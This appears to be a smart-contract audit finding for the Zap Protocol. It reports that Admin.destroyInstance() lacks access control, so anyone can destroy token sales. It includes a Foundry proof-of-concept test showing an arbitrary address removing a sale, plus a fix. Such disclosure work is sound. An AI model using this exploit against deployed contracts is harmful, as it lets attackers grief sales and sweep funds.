Jumpy Violet Ram

high

# Missing access control in `Admin.destroyInstance()`

## Summary
Missing access control in [`Admin.destroyInstance`](https://github.com/sherlock-audit/2024-03-zap-protocol/blob/c2ad35aa844899fa24f6ed0cbfcf6c7e611b061a/zap-contracts-labs/contracts/Admin.sol#L138-L143) allows anyone to remove token sales.

## Vulnerability Detail
`Admin.destroyInstance()` can be called by anyone to remove a token sale.

```solidity
    function destroyInstance(
        address _instance
    ) external onlyExist(_instance) onlyIncoming(_instance) {
        _removeFromSales(_instance);
        ITokenSale(_instance).destroy();
    }
```
[`TokenSale.destroy()`](https://github.com/sherlock-audit/2024-03-zap-protocol/blob/c2ad35aa844899fa24f6ed0cbfcf6c7e611b061a/zap-contracts-labs/contracts/TokenSale.sol#L186C1-L194C6) makes a call to [`_onlyAdmin`](https://github.com/sherlock-audit/2024-03-zap-protocol/blob/c2ad35aa844899fa24f6ed0cbfcf6c7e611b061a/zap-contracts-labs/contracts/TokenSale.sol#L151C1-L157C6) to ensure that it can be called only by authorized addresses.

```solidity
    function destroy() external override {
        _onlyAdmin();
        uint256 amountUSDC = usdc.balanceOf(address(this));
        if (amountUSDC > 0) {
            usdc.safeTransfer(admin.wallet(), amountUSDC);
        }
        address payable wallet = payable(admin.wallet());
        selfdestruct(wallet);
    }
```

Since `msg.sender` is the actual admin contract this require statement will be bypassed and the sale will be successfully removed.

```solidity
    function _onlyAdmin() internal view {
        require(
            admin.hasRole(DEFAULT_ADMIN_ROLE, msg.sender) ||
                msg.sender == address(admin),
            "TokenSale: Onlyadmin"
        );
    }
```


## Impact
Griefing of token sales

## Code Snippet
For test purposes I have added the following function to [`TokenSale.sol`](https://github.com/sherlock-audit/2024-03-zap-protocol/blob/c2ad35aa844899fa24f6ed0cbfcf6c7e611b061a/zap-contracts-labs/contracts/TokenSale.sol)

```solidity
    function setUsdc(address _new) public {
        usdc = IERC20D(_new);
    }
```
A foundry PoC

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.11;

import "forge-std/Test.sol";
import "../contracts/Admin.sol";
import "../contracts/USDC.sol";
import "../contracts/interfaces/ITokenSale.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "forge-std/console.sol";
import {TokenSale} from "../contracts/TokenSale.sol";

contract TokenSaleTest is Test {
    using stdStorage for StdStorage;
     address public saleContract;
     Admin public admin;
     USDCWithSixDecimal public mockUSDC;
     

    function setUp() public {
        saleContract = address(new TokenSale());
        mockUSDC = new USDCWithSixDecimal("MockUSDC", "USDC");
        _setUpAdmin();
        
       
    }

    function _setUpAdmin() internal {
       admin = new Admin();
       admin.initialize(address(this));
       admin.addOperator(address(this));
       admin.setMasterContract(saleContract);
       admin.setWallet(address(this));

    
       ITokenSale.Params memory params = ITokenSale.Params({
        totalSupply: 1000e18,
        privateStart: uint32(block.timestamp + 1),
        privateTokenPrice: 20e18,
        privateEnd: uint32(block.timestamp + 1 weeks)
       });

       admin.createPoolNew(params, 15000e18, 1000, false, 0);
       assertTrue(admin.tokenSalesM(0x4f81992FCe2E1846dD528eC0102e6eE1f61ed3e2));

       // A setUsdc function is added to the TokenSale contract for test purposes
       bytes memory data = abi.encodeWithSignature("setUsdc(address)", address(mockUSDC));
       address(0x4f81992FCe2E1846dD528eC0102e6eE1f61ed3e2).call(data);
    }

    function testUnauthorizedRemoval() public {
        vm.prank(address(0xb0b));
        admin.destroyInstance(0x4f81992FCe2E1846dD528eC0102e6eE1f61ed3e2);
        assertFalse(admin.tokenSalesM(0x4f81992FCe2E1846dD528eC0102e6eE1f61ed3e2));
    }
}
```
## Tool used
Foundry

## Recommendation
Protect `Admin.destroyInstance` with `onlyRole` modifier

```diff
    function destroyInstance(
        address _instance
+    ) external onlyRole(OPERATOR) onlyExist(_instance) onlyIncoming(_instance) {
        _removeFromSales(_instance);
        ITokenSale(_instance).destroy();
    }
```
